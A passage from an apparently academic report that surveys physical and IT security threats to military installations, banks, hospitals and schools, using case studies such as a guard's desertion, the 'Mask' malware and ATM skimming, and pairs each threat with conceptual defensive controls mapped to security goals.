overlaps of security requirements between different areas of the 

installation. Within some military installations, certain areas 

contain assets that require more secrecy than other areas. 
Therefore, a malicious individual may be able to gain access to a 

non-sensitive area of the installation and exploit the overlaps to 

gain entry into the secret areas on the installation. However, it 

may not be feasible for the organization to implement a full 
security solution, be it to address an existing or new vulnerability. 

This could be due to the lack of available resources, such as 

finances and materials, to cover the cost of implementation. 

Ignorance of the vulnerability may then be a result of this inability 
to rectify the problem.  

    The high value of the possible targets in the installation 

combined with the increased probability of an attack due to the 

significant volume of people moving in and out of the installation 
makes the risk on perimeter security high. 

2.1.1.1 Case Study 
    In September 2007, Corporal Dave Teo Ming went missing, 

while he was on his guard duty, with his rifle and several live 

ammunitions. He was later caught by officials at Orchard Road, 

20 hours after CPL Teo was found missing. Post investigations 

into the incident yielded several results, including vulnerabilities 

in the perimeter security measure of the military installation that 

CPL Teo was stationed at. It was revealed that CPL Teo was able 

to exploit the fact that the security measures were meant to keep 

people out of the installation and not in. 

    This case study shows that the threats to the perimeter security 

could come from external sources, as well as from internal 

sources. The risk can also be very high as the consequences of 

attacks, especially resulting from an insider attack, can result in 

not just hindrance to normal operation, but also in loss of human 

lives if it is not caught in time. In this scenario, not only were 

military operations hindered due to resources put into the 

manhunt, if the police were not able to catch CPL Teo, CPL Teo 

could have used the stolen weapon and ammunition to hurt 

innocent bystanders. 
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2.1.2  Physical Security of Equipment 
    In order to accomplish their objectives of safe guarding national 

interests and security, the military make use of a wide array of 

equipment, such as vehicles and weapons, to perform specific 

tasks. These equipment are considered high value assets because 
any damage or loss on these items can hinder the smooth 

operation of military activities and even loss of human lives. One 

of the primary risks to these assets is unauthorized access or use 

of equipment. This can arise when a malicious individual who has 

no authorization to the equipment gains access to the equipment 

and uses it illegally. 

    Another risk is unapproved use by authorized users. This occurs 

when individuals who are given permission to access the 
equipment to perform a task, such as equipment maintenance, 

uses the equipment in a manner not in accordance with fulfilling 

their tasks. 

2.1.3 IT Security 
    With the advancement of IT, the military have been using 
technology to improve their operational efficiency and 

effectiveness. Information being stored, exchanged and modified 

are key assets as they might contain sensitive information that are 

used by the military which could be used for protecting national 
assets and preserving national defense. The various machines and 

devices, such as computers and servers, which provide a physical 

platform to interact with the virtual information, are also key 

assets to the military. This is due to the fact that if these machines 

and devices were to become compromised, information can be 

stolen or removed and operations can be disrupted, thereby 

undermining national security. 

    The main risk of virtually stored military information would be 
unauthorized access by malicious individuals. Traditionally, all 

military information stored on physical files and folders were 

tangible and relatively secure as they were stored on physical 

closed systems. However, information are starting to be stored on 
virtual platforms, this meant that the information can be access 

from anywhere, either via the intranet or internet, without the need 

to physically access the machine hosting the information. 

Unauthorized access can occur as a result of an unauthorized user 
gaining access through a physical machine or an exploitation of 

other vulnerabilities. 

    These computer vulnerabilities can exist within servers, 

computers and any other machines, especially those with 
networking functions, which are capable to execute programs. 

Exploitation of these vulnerabilities could cause the afflicted 

machines to become springboards for different types of attacks on 

other machines, depending on the intentions of the malicious user. 

These exploits can come from malicious software, called 

malware, which could be spread by a variety of means such as 

email or infected USB-drive. Another means of exploitation could 
also originate from a malicious user directly in the form of active 

hacking attempts on vulnerable machines. 

2.1.3.1 Case Study 
    In 2014, Kaspersky Lab uncovered an advance malware toolkit 

called “The Mask”, which has been estimated to have been in 
operation since 2007. It had been discovered to attack important 

targets, most notably government organizations. It contained an 

initial infection vector which uses spear phishing emails that are 

specifically crafted to entice its victims to visit seeming legitimate 
websites. Upon accessing these malicious websites, cross-

platform malwares makes use of vulnerabilities on the web 

browser to install itself on the infected machine. It has been 

known to be modular, which means that the malicious controller 

can load different modules onto the malware for it to perform a 
variety of functions. Its goal is to steal sensitive information, such 

as encryption keys and documents. It can also make use of the 

stolen information to intercept communication channels to further 

its objectives. 
    This case study shows that the threat of malwares can be more 

severe should it become specifically targeted at individual 

organizations and that the impact of an infection could be far 

reaching. If a malware were to be specifically crafted to attack the 
military, it could dramatically undermine national security as 

sensitive information can be stolen without the victims’ 

knowledge.  

2.2 Security Requirements 

2.1.1 Perimeter Security 
    The perimeter security measures are in place to detect and deter 

intrusions by unauthorized people from entering the military 

installation. However, the extent of the military installation can be 
quite significant. Therefore the security requirements for the 

perimeter would need to make use of policies, assurances, 

mechanisms and incentives in order to adequately provide robust 

security coverage. 
    Firstly, it is important that a regular audit of the physical 

perimeter security measures be carried out. It can be performed by 

an internal department or an external audit service provider. This 

prevents exploitation of weaknesses in the perimeter security by 

providing feedback as to the sections in the perimeter that require 

maintenance and early detection of possible vulnerabilities in the 

perimeter. This achieves assurance since it ensures that the 

implementations of security controls are properly carried out and 
that there is minimal flaw in implemented controls. 

    Secondly, effective guard duties are needed to address the 

threat of unauthorized entry and exit of the military installation 

and restricted areas within the installation. In order to achieve this, 
the personnel performing guard duties must be properly trained in 

order for them to understand their roles and responsibilities 

clearly and carry out their duties in a more effective manner. On 

top of training, the planners of the military installation must set 
down clear routes for patrols to maximize the security provided by 

the guards. These controls act as incentives to emphasize the 

importance of guard duty upon those performing it. 

    Subsequently, in order to address the different perimeter 
security requirements within the military institution, a concept of 

zoning can be implemented. Different clearance levels will be 

associated with different zones thereby allowing more secretive 

areas to apply a stricter set of controls as compared to lower rated 

areas.  This is an application of policy to address a risk in order to 

preserve the confidentiality of the assets within a secretive area of 

the installation. 
    Finally, security systems such as CCTVs and motion sensors 

can be used supplement the existing controls and blind spots left 

out in patrol routes. This adoption of security systems makes use 

of mechanisms and provides assurance through the proper 
implementation of such mechanisms to increase security coverage 

within and around the installation. 

2.1.2 Physical Security of Equipment 
    In order to ensure that the equipment are neither stolen nor 

damaged, it is important to focus the security requirements into 
achieving the security goal of accountability. This ensures that the 

user will remain responsible for the equipment either in storage or 

in use.  
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    The first form of control is to restrict access to the equipment 

through the use additional physical controls, on top of those 
already applied from perimeter security requirements. This 

describes stricter physical security requirements, such as 

additional locks and stronger gates, than those required of other 

facilities. This is simply applying additional mechanisms to 
facilitate for the additional requirement of maintaining 

accountability on top of perimeter security. 

    The second form of control is to draft and implement policies 

that will address unauthorized and unapproved use of equipment, 
thereby maintaining accountability. These policies are, namely 

logging of equipment and dual access control. By enforcing strict 

logging of equipment, it allows users to track the movement of 

equipment and the individuals that are responsible for the use of 
said equipment. By enforcing dual control access, it encourages 

counter checking of the user before approval is given, reducing 

the likelihood of misuse. 

2.1.3 IT Security 
    When using IT to perform military tasks, information is 
exchanged between nodes on a network most of the time. Hence, 

most of the security requirements on IT aim to include 

confidentiality as a security goal to ensure that the information is 

kept secret. On top of that, since access to information on the 
network need not be physical, the identity may not be easily 

discernable and the access to the information may be restricted to 

a limited number of users. Hence some of the security 

requirements also aim to provide authenticity in order ensure the 

user is identified and authorized to access the requested 

information. 

    The first procedure of IT security is to prevent unauthorized 

access to military information and IT equipment by identifying 
the current user which is achieved by authenticating that user. 

There are 3 forms of authentication, namely using a secret, 

presenting a security token or providing a unique biological 

marker. By authenticating a user using one or more factors, it can 
be safely assumed that the identity of the user can be confirmed. 

However, if a more secure authentication is required, using a 2-

factor authentication would improve authenticity of the user since 

the likelihood of a malicious person possessing all the methods of 
authentication is slim. This is an application of mechanism to 

provide authenticity of the user. 

    Besides authenticating a user, unauthorized access to military 

information can also be restricted by implementing appropriate 
access control policies in order to preserve confidentiality. 

Traditionally, access to information is based on a Mandatory 

Access Control (MAC) policy, whereby information is treated as 

objects and each object are given a clearance level. The access to 
the objects by the user is determined by a no-read-up, no-write-

down policy. If the user is of a higher clearance than the object, 

then the user can only read the object. If the user is of lower 

clearance than the object, then the user can only write to the 
object.  

    However, it is insufficient to maintain IT security by just 

addressing data vulnerabilities. Computer vulnerabilities must 

also be addressed in the security requirements. In order to reduce 
the likelihood of malware infection and hacking attempts on the 

machine, it is imperative to rectify the vulnerabilities that can be 

exploited. This can be testing and updating the IT platforms 
regularly to remove vulnerabilities identified by the provider, 

maintaining good firewall rules to prevent malicious outsiders 

from entering the intranet and conducting regular IT audits to 

identify additional vulnerabilities that might exist in the existing 
system. These policies will ensure that the confidentiality of the 

military information is maintained and the integrity of the 

information and the IT platform is ensured. 
    Lastly, communication channels between systems must be 

encrypted. This is to address the threat of malicious people 

intercepting and modifying the information on the channel. This 

requirement makes use of mechanisms like cryptographic 
modules and encoders/decoders to ensure that the information on 

the channel is incomprehensible to everyone except the intended 

sender and recipient, thereby ensuring confidentiality and 

authenticity. These mechanisms should also be able to ensure 
integrity of the information by detecting if the information has 

been modified by unauthorized users. 

(Refer to appendix A for a summary of the military security 

requirements) 

3. FINANCIAL INSTITUTIONS 
    Financial Institutions are establishments that focuses on dealing 

with financial transactions, such as investments, loans and 

deposits. For this project, we will only be focusing on commercial 

banks as a financial institution.  

3.1 Items of interest, Potential threats and     

vulnerabilities  

3.1.1 Automatic Teller Machines (ATMs) 
    Because ATMs are used by the public, there are thus many 
possible threats which can exploit the vulnerabilities in the 

system. Arguably the biggest physical vulnerability involved are 

how easily card skimmers along with pin-hole cameras can be 

attached to the ATM. The former involves scanning the magnetic 
strip of a card and obtaining its details and the latter is used to 

record people’s PIN as they key it in, after which their card is 

cloned and then used for malicious purposes.  

    There have been many cases where ATMs have been fitted with 
card skimmers. One such example was in Singapore in 2012, 

where DBS was hit by an ATM fraud where card skimmers and 

pin-hole cameras were involved. The data collected through these 

2 devices were combined and used to withdraw $500,000 in total 
from the accounts of 400 customers. The main reason why this 

attack was possible was due to the magnetic stripes on the back of 

the cards. Although people are slowly abandoning cards with 

magnetic strips in favor of those with built-in chips that are nearly 
impossible to copy, but because U.S. banks and merchants have 

stuck to cards with magnetic stripes, they are still accepted in 

many places in the world. 

    Modern ATMs now have a cover over the keypad to further 
enhance security by concealing a user’s hand when they type in 

their PIN number, which makes pin-hole cameras ineffective. 

Attackers have found a work around in the form of an ATM 

Overlay, which is a device that is placed over the keypad of the 
ATM and disguised to look like the original keypad. These 

devices allow thieves to capture a victim’s PIN number as they 

enter it, while still allowing the original keypad to receive the PIN 

number.  
    Physical threats such as armed robbery and personal safety are 

also present. Armed robbery can occur during the transfer of 

money to and from ATM s. Personal safety is a risk 

associated with those ATMs in relatively deserted or poorly 

lighted places. There is always the risk of someone lurking nearby 

to rob people’s money after they have made their cash 

withdrawal. 
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    Furthermore, when transferring, bank officials could be 

tempted by personal greed or corruption when handling such large 

amounts of money. Taking small amounts of money from each 

ATM transfer is barely noticeable given the large amount of 

money involved. If inspections and checks are not carried out 

properly, it is possible that no one will notice the discrepancy in 

the amount before and after the transfer.  

3.1.2 Internet Banking 
    Internet Banking, also known as Online Banking, is a system 

which allows individuals to perform banking activities at home, 

via the internet. Online banking enables customers to perform all 

routine transactions, such as account transfers, balance inquiries, 

bill payments, and stop-payment requests, and some even offer 

loan and credit card applications. 

    As with any online activity, computers and data are vulnerable 

to being exploited by the numerous possible threats, more so for 

online banking due to the amount of sensitive information such as 

PIN numbers, credit card details and the involvement of money, 

being exchanged over the internet which makes it a very attractive 

target for hackers. If the user is not educated on potential threats, 

or if their computer does not have the latest security and antivirus 

updates, their computer and data could be at huge risk.  

Man-in-the-browser (MitB) attack 

Man-in-the-browser is a security attack where the attacker installs 

a Trojan horse on a victim's computer that's capable of modifying 

that user's web transactions as they occur in real time. For 

example, the MitB can make it look like the victim is paying their 

electricity bill as per normal but can change the destination bank 

and account, and even the amount. 

Phishing 

Phishing involves the victim clicking a fake link to a page that 

looks like it was set up by their bank. The page will have a login 

area where they enter their account details. With their login details 

(user name, password and personal identification number) in 

hand, attackers would be able to access the victim’s account and 

steal their money. 

Keyloggers 

Keyloggers are devices and viruses that covertly record the 

victim’s keystrokes, enabling fraudsters to collect their password, 

PIN and other security information. Keyloggers can be split into 

software and hardware keyloggers. Software keyloggers are 

viruses that infect the victim’s computer which they can pick up 

unknowingly from email attachments and malicious websites. 

They can sit undetected on the victim’s computer. Hardware 

keyloggers are small devices that can be plugged into the back of 

a computer which can be hard to detect.  Public computers and 

internet cafes carry the largest risk of hardware keyloggers and 

can prove costly if users carry out their online banking on such 

computers. 

Man-in-the-Middle (MitM)  

    Man-in-the-Middle is an attack whereby the attacker can 

actively inject messages of its own into the traffic between the 

victim’s computer and the authenticating server. One approach for 

MitM attacks involves pharming, which involves the usage of 

malicious wireless access points or compromised DNS servers to 

redirect users from the legitimate site they are trying to access to a 

malicious fraudulent Web site that is able to access the victim’s 

credentials. 

3.1.3 Physical threats within banks 
    On top of Internet Banking and ATMs, threats and 

vulnerabilities are also present within the bank itself. They are 

more physical in nature and include but not limited to:  

 Armed robbery of the bank. 

 Unauthorized access to facilities. Customers or employees 

entering facilities during unusual hours or unauthorized 

employees walking through an open door behind an 

authorized employee. 

 Poor physical security. General issues such as insufficient 

guards or insufficient separation of duties for physical access 

controls. 

 Improper disposal or destruction of sensitive information. 

Such data is thus vulnerable to being recovered which could 

mean unauthorized people are able to access it. 

 Insufficient security features such as CCTV which results in 

easier unauthorized access to areas.  

3.2 Security Requirements in Banking 

Systems 
    It is evident from the above analysis that there are numerous 

threats, vulnerabilities and risks associated with banking systems. 

Security measures to mitigate such threats are thus imperative not 

only to maintain customers’ trust, but also to prevent huge 

business and financial losses to both the bank as well as the 

country’s economy. 

 

3.2.1 Automatic Teller Machines 
    The policy of dual control is implemented in this system using 

tamper-resistant hardware. A cryptographic processor is kept in 

the bank’s server room and will perform a number of defined 
operations on customer PINs in ways that enforce a dual-control 

policy. This includes the following: 

 
1. Operations on clear values of customers’ PIN are done on 

tamper resistant hardware and the clear values are never 

made known to any bank staff. This mechanism fulfils the 

security goal of confidentiality.  
2. A terminal master key is carried by 2 separate officials to 

input at the ATM keyboard and combined to form the key. 

This mechanism fulfils the security goal of accountability 

and ensures there is non-repudiation of a prior commitment. 
3. Cards and PINs are sent to the customer via separate 

channels. Cards are personalized in facility with magnetic 

strip printing machinery, and PINs are printed in a separate 

facility containing a printer attached to a security module. 
This mechanism also fulfils the security goal of 

confidentiality. 

 

    Another important policy that banks should implement with 
regards to ATMs is that users also have to be educated on ATM 

security practices, such as being aware of any suspicious 

characters lurking in the vicinity of the ATM, covering their 

typing hand when entering their PIN into the ATM and 
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completing transactions quickly and not be distracted by their 

surroundings.  
    To minimize the possibility of third party devices such as card 

skimmers and overlays being installed in ATMs, banks should 

have a policy whereby security officers conduct frequent and 

random inspections of ATMs to ensure that no suspicious devices 
are installed which could compromise the confidentiality of users’ 

information.  

 

3.2.2 Internet Banking Security Standards 
    Because of the large amount of money transactions as well as 

sensitive information being exchanged over the internet, a high 

standard of security has to be maintained in order to earn 

customers’ trust that the system is secure and probability of 

malicious activity taking place is low. 

    The Basel II Framework, published by the Basel Committee on 

Banking Supervision2, describes an international security standard 

in which a number of Internet banking security controls should be 

implemented in order to protect customers’ information. These 

include3: 

 Authentication of Internet banking customers;  

 Nonrepudiation and accountability for Internet-banking 

transactions;  

 Proper authorization controls within Internet banking 

systems, databases and applications;  

 Data integrity of Internet banking transactions, records and 

information;  

 Establishment of clear audit trails for Internet banking 

transactions;  

 Confidentiality of key bank information.    

    For most banks, data security between the customer browser 

and their Web server is handled through a security protocol called 

Secure Sockets Layer (SSL) which help to prevent Man-in-the-
Middle (MitM) attacks. The mechanism of SSL provides data 

encryption, server authentication, and message integrity for an 

Internet connection. SSL also provides a security token that is 
used to initiate the connection. This token results in the client and 

server agreeing on the level of security they will use and fulfils 

any authentication requirements for the connection. Access 

Control measures such as limited repeated attempts to login and 
automatic log out if there is no activity for a period of time, are 

also in place to prevent any unauthorized access to customers’ 

online banking account. In addition, packet filtering routers and 

firewalls are also present as part of the security infrastructure. All 
these would help preserve the integrity as well as confidentiality 

of the user’s sensitive information.  

    Banks also prevent Man-in-the-Browser (MitB) attacks by 

utilizing the mechanism of Out-Of-Band (OOB) technology, in 
which a user’s identity is verified and authenticated through a 

                                                                   

2 The Basel Committee on Banking Supervision (BCBS) is a group of 

international banking authorities who work to strengthen the regulation, 

supervision and practices of banks and improve financial stability 

worldwide. 

3 Adapted from Analyzing the Security of Internet Banking Authentication 

Mechanisms by Christos K. Dimitriadis 

 

separate channel, such as a telephone. Using a separate channel 

reduces the risk that both the internet and the additional channel 
have been compromised. Another alternative involves the use of a 

secure portable Web browser that is launched from a bank-issued 

security token after the user inserts the device and enters their 

password. After a successful login, the user is taken directly to the 
issuing bank’s Web site. Utilizing a clean and non-infected 

browser helps ensure that there is no malware in it. OOB 

technology thus achieves the security goals of authenticity and 

integrity. 
    However hacking attacks are not always directed at banks. 

Because many such attacks are directed at customers, they should 

therefore have the latest virus and malware scanning software 

installed on their computer. These software serve to detect 
malicious emails, Keyloggers and Trojans that could be 

potentially installed on the victim’s computer without their 

knowledge. This helps to preserve the integrity and confidentiality 

of the data in their computer.  
    Customers should also refrain from using public computers to 

access their online banking account and other sensitive 

information as Keyloggers could be present on the computer. 

Public computers should have anti-keylogging software installed 
on them to detect any keyloggers that may be installed on them. 

3.2.3 Physical Security Measures in Banks 
    The bank itself is also vulnerable to threats such as robbery and 
unauthorized access to restricted areas, due to the large amounts 

of money in bank vaults and the wealth of customer information 

being stored in the bank’s database. Banks must thus have a 

policy of implementing physical security measures within the 
bank itself to prevent or mitigate such potential threats. Some 

mechanisms that banks require include: 

 

Locking up of the server room 
The server room is the heart of the bank’s physical network, and 

any unauthorized personnel with physical access to the servers, 

databases, routers, and other devices in that room can do 

enormous damage. Thus the bank has to ensure that there are good 
locks on the server room door as well policies such as who has the 

key or key code to get in, thereby achieving the security goal of 

authenticity and confidentiality.  

 

Training of its management and staff 

The bank’s management and staff have to be trained on the 

importance of security measures such as how the security systems 

and devices work, what to do in the event of a bank robbery and 
how to be a good witness. They also have to be trained in the 

proper disposal and destruction of sensitive information, to ensure 

that they are in no way retrievable, be it partly or fully. This 

attains the security goal of confidentiality.  
 

Bank Architecture 

The bank has to be built in a way that limits customer’s visibility 
and access to cash vaults, safes and strong rooms. Because of the 

substantial amount of money in these areas, only those with 

proper authorization are able to access them. All of these areas 

have to be secured by combination and time locks with dual 
control. 

 

Physical Security Features 

Banks should have multiple security features such as fire alarm 

security system, Intrusion detection Security Systems, 24 hours 

monitored CCTV, panic buttons and bullet proof glass for bank 
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tellers’ cubicle and Secured safes and storage equipment which 

are rust free, water resistant and fire proof. Banks also have to 

ensure that at all times, there is a minimum number of guards 

present in the bank and make sure there is no shortage of 

personnel. This could be done by increasing incentives for guards 

to work longer shifts.  

(Refer to appendix B for a summary of the security requirements 

in banking systems.) 

4. MEDICAL SYSTEMS IN HOSPITALS 
    Medical institutions are organizations founded and united for a 

medical purpose, such as practice of medicine. Generally, medical 

institutions are referred to clinics and hospitals. Since hospital 

spans larger scope with more complicated functionalities, our 

discussion is mainly focused on hospitals. 

4.1 Items of interest 
    In order to do risk management, we need to identify what assets 

are critical to the mission of the hospital. They are generally are 

classified into 3 groups: people, property and information. People 

would consist of doctors, nurses, and patients together with other 

people such as visitors and support personnel. A hospital’s 

property assets are made up of both tangible and intangible items. 

Tangible assets are usually simple to identify, while intangible 

assets, such as the hospital’s reputation, are more difficult to 

identify and link it with a monetary value. Information assets 

include medical records of patients.  

    Although all assets are valuable, there are some which are not 

as critical as others.  We define critical assets as those necessary 

for the hospital to carry out its mission of providing healthcare, as 

without them, functions and processes will fail. The more the 

serious the outcome from the loss, damage, or destruction of an 

asset, the more critical the asset is. A hospital’s critical assets 

typically includes patients, medical professionals, support 

personnel, medical records, equipment, supplies, and 

pharmaceuticals, although this would depending on the type of 

care and treatment being provided. 

4.2 Threats and vulnerabilities  

4.2.1 Human factors 
Intruders 

The main access control mechanism a hospital deploys is to make 

their medical service available as fast as possible. Under such 

circumstances, physical security checks are often ignored due to 

the hassle and extra manpower required. This may give rise to 

people taking advantage of such loopholes and try to exploit the 

value in it.  

 

Crooked staff 

Intruders may rob money from the cashier by using some brute 

force. However this can be done in a much easier and unperceived 
way by a crooked staff. However an even more serious situation is 

the kidnapping of a newborn from the nursery. Although this is an 

extremely rare occurrence, the resulting publicity and liability 

from such a situation would be detrimental for the institution. 
Also, during private client examination or treatment, distraught 

medical professionals may abuse patients. 

 

Low staffing level 
Long waiting times for care in emergency areas, which can lead to 

patient frustration. Occasionally due to natural disaster or 

epidemic diseases, low staffing level may lead to a situation 
whereby patient flow control and sterilization cannot be managed 

properly and hygienically, which may lead to severe consequence. 

 

4.2.2 Hospital properties 
Equipment  

With rapid advancements in medical technology, diagnosis 

through equipment is becoming the main method of treatment in 

hospitals nowadays. For each equipment to work properly, it is 

necessary to make sure that the power supply for the desired 

equipment is functioning properly. Thus the first vulnerability in 

medical devices is that sometimes power failures may occur, 

intentionally or unintentionally. Secondly, sometimes due to 

software bugs or malfunctions, medical equipment may not 

behave in the way desired. If it is a life-dependent equipment, the 

consequence may be severe. Thirdly, some sensitive equipment 

may be subjected to interference generated by nearby sources. 

This undesired interference may affect the measurement result or 

even the function of the equipment. Moreover, equipment 

themselves also emit interference, such as X-rays or other 

radiating equipment which may be harmful to the patient or the 

surrounding environment if not dealt with properly.  

Medicine  

As the most important factor of hospital general operation, the 

medicine section faces a bunch of threats. Firstly, medicine may 

not be fully tested before being used in practice. This may be due 

to carelessness of the manufacturer or coming under pressure to 

finish the product by a stipulated dateline which may lead to 

slipshod work. Second, during the transportation or storage stage, 

medicine may go bad. If they are distributed to patients, there may 

be severe repercussions. However the most severe threat is from 

drug abusers. These people who have access to the medicine may 

take advantage and become even more addicted. Some of the 

more notable drug abusers in the past few years have been doctors 

and nurses. 

Research Laboratories  

Hospitals would have laboratories which may contain very strong 

and reactive chemicals, explosive gases, or some sensitive drugs 

which are prohibited from public use. There is always the danger 

of an accident happening which may result in disastrous 

consequences such as chemical or gas leakage, or gas explosions 

which may require the evacuation of the entire hospital 

4.2.3 Information 
Risk is inherent in the delivery of healthcare. The security 

risks associated with healthcare systems have increased due to the 

advancements medical technology, and more so with computers 

and systems being used to record and run everything such as 

patient records, medicine information, patient’s daily status etc. 

This implies that computer security would become an issue. 

Hacker may steal patients’ information by physically exploiting 

the vulnerability of hospitals’ computer or remotely exploiting the 

vulnerability of hospitals’ computer system. Inside the hospital 

computer system, improper access control may leak patient 

information to people who shouldn't access them.  
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4.3 Security requirements 
    The above discussion illustrates that many security 

requirements are needed in hospitals in order to prevent and/or 

mitigate such threats and vulnerabilities, minimizing the level of 

risks in hospitals.  

Enhance administrative controls (Accountability) 

 Policies and procedures should be updated. This is in order to 
avoid internal corruption. Policies must be re-emphasized 

and strictly conducted and zero tolerance to any personnel 

who violate such rules. 

 Employees should undergo a stringent privacy and security 
training process. This requirement is especially useful for 

keep patient information secure. Information should only be 

revealed to those medical staff whose have the right to view 

them. Relevant training is necessary to make such practice 
efficient. 

 Prior to employment, the hospital should run background 

checks on all doctors, nurses and other staff to ensure there is 

no possibility of corruption or ulterior motives involved. 
 

Monitor physical and system access (Availability &      

Authenticity)  

 There should be exigencies in place for data recovery or 

restoration. This serves as a reactive method for threats. 
 Identification and verification requirements to all system 

users should be in place. By using passwords and personal 

identification numbers (PINs), it limits access to critical 

areas and equipment. 
 Provide automatic software shutdown routines. This means 

that after certain equipment or computer finishes doing its 

job and no longer needed, it should automatically shutdown 

to avoid security problems. This process should be 
automated in case employees forget to turn the equipment off 

themselves. 

 

Audit and monitor system users (Accountability) 

 Hospital systems and CCTVs should be monitored at all 

times to detect any security breaches or any unauthorized 

access to restricted areas.  

 Audits should be regularly done on all equipment and 
personnel to ensure that everything is in order.   

 

Employ device and media controls (Confidentiality &  

Availability) 

 Construct a security plan for data disposal. This is to ensure 

that data which is no longer needed is disposed of safely and 

can in no way be recovered, be it partially or fully.  

 Remove data from reusable hardware. Any secrets in such 
hardware must be overwritten or deleted before giving the 

next user access.  

 Back up data from all hardware regularly in case of a system 

crash or any natural disasters.   
 

Apply data encryption (Confidentiality & Integrity) 

 All information related to patients such as electronic medical 

records, medical images and insurance claims should be 

encrypted.  
 

(Refer to appendix C for a summary of the security requirements 

in hospitals) 

    The following are some possible scenarios that may occur in 

hospitals, as well as possible mitigations and workarounds for 

each scenario. 

Scenario 1: A localized failure within the hospital has 

disconnected the emergency room (ER) from the network 

backbone. Thus the typical IT services are unavailable (e.g., 

network addressing, routing, user authentication) but patients 

continue to arrive at the ER requiring critical healthcare services. 

The healthcare systems in the ER need to continue to provide 

critical healthcare services. 

Possible Design Mitigations: The systems could include the 

ability to create and locally store health information that was 

created (medical images, records) even in the absence of LAN 

access. It is advisable for healthcare providers to consider disaster 

recovery when planning the use of thin-client versus local storage 

workstations. A careful risk management plan including disaster 

preparedness will result in a proper balance of these components. 

Possible Operational Workarounds: (1) Use additional staffing, 

(2) Use equipment available at other departments of the same 

healthcare facility, (3) Route patients to a nearby healthcare 

facility or (4) Deploy a secure wireless solution to communicate 

with the network backbone. 

    In the worst case scenario, patients would experience service 

degradation via longer waiting times or an off-loading of patients 

to another healthcare facility. 

 

Scenario 2: Provision of healthcare in the aftermath of a 

widespread disaster. Such a disaster may have been caused by 

natural phenomena (earthquakes, tsunamis, hurricanes) or man-

made causes (terror, war, power failure). 

During these disasters the general infrastructure (IT networks, 

roads, electrical power, and water) may be disrupted or destroyed. 

Furthermore, the disaster may have caused damage to the 

healthcare facility itself and thus may have destroyed parts of the 

local building or healthcare infrastructure causing a “Healthcare 

System Failure.” The situation may get worse as the disaster itself 

increases the number of patients who arrive at the healthcare 

facility. 

Possible Design Mitigations: The system should have an 

emergency function that allows individuals without proper 

authorization to support the local workforce. This permits the 

healthcare provider to use all locally trained medical staff as 

needed. 

Possible Operational Workarounds: For such rare disasters, risk 

mitigation measures are difficult to define, as there may be no 

other medical equipment available. However, contingency 

planning is essential in continuing the healthcare mission. 

Included in any such plans should be the provision that critical 

healthcare data should be protected against destruction in such a 

disaster, and, if possible, should be accessible from other facilities 

that have to serve as backup solutions. 

5. ACADEMIC ENVIRONMENTS 
    Academic environments encompasses the student body, the 

educators, the institutions as well as the national educational 
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system as a whole. We will provide a list of vulnerabilities 

relevant to the academic environment, identify the risks to these 
vulnerabilities, and provide measures and system requirements 

that are currently being implemented to alleviate such risks.  

 

5.1 Vulnerabilities in the academic 

environments 
 

1. Student Data 

Student Data includes examination results and personal 

information such as address, family details like family income, 

contact information as well as health records. 

 

2. Staff Data 

Staff Data includes personal information as well as staff 

development reviews or assessment. 
 

3.   Confidential Information  

Confidential information refers mainly to information pertaining 

to the following areas; examination information, curriculum, 

administrative and research data. Firstly, for examinations, 

examples of confidential information include exam schedules, 

exam questions, marking scheme and exam results. Secondly, for 

curriculum, it refers to teaching materials as well as notes specific 

to each institution. Next, for administrative data, it refers to the 

student and staff database as well as the school’s funds. Finally, 

research data done by professors or by research students in 

collaboration with companies/corporations/ organizations such as 

A*Star are considered confidential information.  

 
4.   Information exchange between institutions 

Information exchange between institutions refers to the exchange 

of confidential research data between professors/researchers and 

also the exchange of teaching materials/notes. 

 

5.   Institution/School’s website 

Institution/School’s website includes student, staff username and 

password, email (NUS webmail), payment portal and academic 

transcript (MyIsis). 

 

6.   Physical Items 

Physical items can be split into two categories, namely, school 

facilities and student’s/staff’s belongings. School facilities may 

include the library, in particular its books, the gym and its 

equipment, the canteen, the science labs as well as the computer 

labs. Student and staff belongings refers to personal items such as 

laptops, thumb drives, handphones and wallets. 

 

7.   Physical Beings 

Physical beings refers to the students, staff and the institution’s 

personnel. 

 

5.2  How are the items in the above list at risk? 

    The items above can be classified according to the level of risk. 

    The first criteria would be according to how they can be 

attacked. For example, points 1 to 3 can be classified together as 

they are normally stored in the school’s database. Hence, they are 

all vulnerable to cyber attacks. However, some of these 

information may also be recorded down on paper. Thus it could 

subject to physical attacks. On the other hand, points 6 and 7 are 

classified together as they can be attacked in a physical sense, 

such as destruction or physical damage of the school property or 

physical attack causing injury to students or staff.   

   The next criteria is according to how high the vulnerability is. 

For example, points 1 to 5 have very high vulnerability attributing 

to its very high confidentiality and potential impact or 

consequence if such information leaks out. However, the 

vulnerability is low for school facilities due to its low potential 

impact as even if these properties are compromised, they can be 

replaced easily. On the other hand, student and staff belongings 

have a higher vulnerability because of the high confidentiality and 

potential impact, as important information may be stored in these 

laptops and thumb drives. As for point 7, the vulnerability is 

average as crimes committed that could harm human are relatively 

lower due to control and law of the society. 

    The last criteria would be according to the potential threat or 

exploit. For points 1 to 5, the threat is considered very high. For 

example, if one can hack into the system and get access to the 

exam questions beforehand, then the entire examination system 

would not be an accurate gauge of the student’s performance. 

Similarly, one can hack into the database to alter the results. If the 

attack is carried out on a national database, such as the results of 

national exams are being altered, it may cause entire breakdown 

on the national academic system. On the hand, generally, threats 

for points 6 and 7 are relatively low. 

 

5.3  Personal Data 
Personal data can be defined as information which relates to an 

identifiable living individual that is processed as data. The data 
protection principles4 published by the Information 

Commissioner’s Office5 (ICO) apply to all information held 

electronically or in structured files that tells something about an 

identifiable living individual. Examples of personal data include 
names of staff and students, dates of birth, addresses, national 

insurance numbers, medical information and exam results.  

 

5.4  Security requirements and measures 

5.4.1 Using control measures for points 1 to 3 
    Fair processing – and avoiding unauthorised processing, which 
also requires the authority to control access to personal 

information, giving access only to people (staff and governors) 

who need particular information to do their jobs, and only when 
they need it. This covers access to written and electronic staff and 

pupil records, hence requiring systems and procedures to control 

access to paper and electronic records containing personal 

information. 

                                                                   

4 The ICO published the Data Protection Act 1998 (DPA) to 

protect people’s fundamental rights, freedoms and privacy with 

respect to personal data.       

5 The ICO is the United Kingdom’s independent authority to 

uphold information rights in the public interest and data privacy 

for individuals.  
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Fair processing is implemented through policy and driven by 

incentive because it is crucial to protect the confidentiality and 
integrity of various critical classified information. 

 

The following are some security measures carried out by the ICO 

with regards to points 1 to 3. 
 

 Strict storage facilities and arrangements for handling 

paper files containing personal information. It is an 

example of mechanism implemented for the sake of 
protecting paper based critical data so as to preserve 

confidentiality. 

 

 Secure practices; to keep confidential information secure 
